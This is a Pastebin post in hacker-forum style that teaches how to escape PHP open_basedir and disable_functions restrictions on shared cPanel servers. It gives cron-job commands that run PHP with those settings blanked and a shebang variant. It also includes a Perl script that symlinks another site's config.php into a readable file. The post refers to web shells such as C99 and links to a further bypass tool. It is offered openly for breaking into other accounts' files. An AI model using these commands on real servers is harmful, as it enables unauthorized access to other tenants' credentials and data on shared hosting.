Dr-L0v3

Best Method Bypass Symlink 100% - Private Method

Jul 19th, 2015
1,595
0
Never
8
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.05 KB | None | 0 0
  1. Today i will explain how to bypass any server even the security is 100% !!!
  2. so this method is private but i decided to make it public ...
  3.  
  4. So no need ".htaccess" or "ini.php" or "php.ini" to bypass .
  5.  
  6. First let me explain some tricks !!!
  7.  
  8. We know that php use html code , It's a language that can be executed in the command line
  9. So in linux System the users privilege can execute many command in php and we can bypass the configuration.
  10.  
  11. As we know in the cpanel server we have an option called "cron job" in the control panel to execute many commands…
  12.  
  13. For example let's make a file called file.php
  14.  
  15. CODE:
  16.  
  17. <?php
  18. phpinfo();
  19. ?>
  20.  
  21. Secondly Go to the cpanel in the server and select "cron job" and add this command :
  22.  
  23. /usr/local/bin/php -d open_basedir= /home/user/public_html/file.php
  24.  
  25. As you can see : "/usr/local/bin/php" It's the command line in php for the user
  26.  
  27. Note: in some servers it's installed in : "/usr/bin/php"
  28.  
  29. -d <<<< put the config you want to execute in that file .
  30.  
  31. open_basedir= <<<< here you put open_basedir empty to Bypass config in "file.php"
  32.  
  33. /home/user/public_html/file.php <<< here is the path of php file that you want to execute .
  34.  
  35.  
  36. Other Bypass example: /usr/local/bin/php -d disable_functions= /home/user/public_html/file.php
  37.  
  38.  
  39. Advanced method :
  40.  
  41. Create a file example "love.php"
  42.  
  43. CODE:
  44.  
  45. #!/usr/local/bin/php -d open_basedir=
  46. <?php
  47. phpinfo();
  48. ?>
  49.  
  50. Then just execute the file :
  51.  
  52. Command: php love.php
  53.  
  54. Another method to bypass is to execute a perl file and you can read the file easily !!!
  55.  
  56. CODE:
  57.  
  58.  
  59. #!/usr/bin/perl
  60. symlink ("/home/user/public_html/config.php","/home/user/public_html/test.txt");
  61.  
  62.  
  63.  
  64. So that mean that the admin didn't run php as :
  65.  
  66. *CGI module
  67. *SUPHP module .
  68. *apache module.
  69. *enable open_basedir and safe_mode .
  70.  
  71. *"Chmod 000 /bin/ln" =========>>> the perl file still have the ability to create the links . :D
  72.  
  73. but even if the admin runs that shit you still can bypass the system , perl is powerful !!! <3
  74.  
  75. and if the admin try to disable "/usr/bin/perl" and chmod it to "0700" or less it will broke the cpanel .
  76.  
  77. As it requires to be at "0755" for proper operations, since it is used by customers as well when it suexecinto the user when they log into cPanel.
  78.  
  79. So we cannot change it to that setting "700" , since it breaks the entire system !!!
  80.  
  81. *So as you learned today "open_basedir" is the responsible of the mobility between the websites in the shell .
  82. So there is an option Called "Sec info sometimes "Sec" depends of the shell you are using - Example : C99 shell
  83.  
  84. We have this that mean that the open base dir is disabled :
  85.  
  86. "Open base dir: /home/user:/usr/lib/php:/usr/local/lib/php:/tmp"
  87.  
  88. Okey in some servers you can bypass the security with jumping method , some hackers use
  89.  
  90. php scanner to scan the whole paths in the server, that is wasting of time by putting
  91.  
  92. url before Linux : serverurl/~user/folder/shell.php very old …
  93.  
  94. So i hope you understand now i uploaded for you a simple tool to bypass "Open Base_dir" :
  95.  
  96. Openbasedir
  97. http://pastebin.com/QC5cLdfx
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment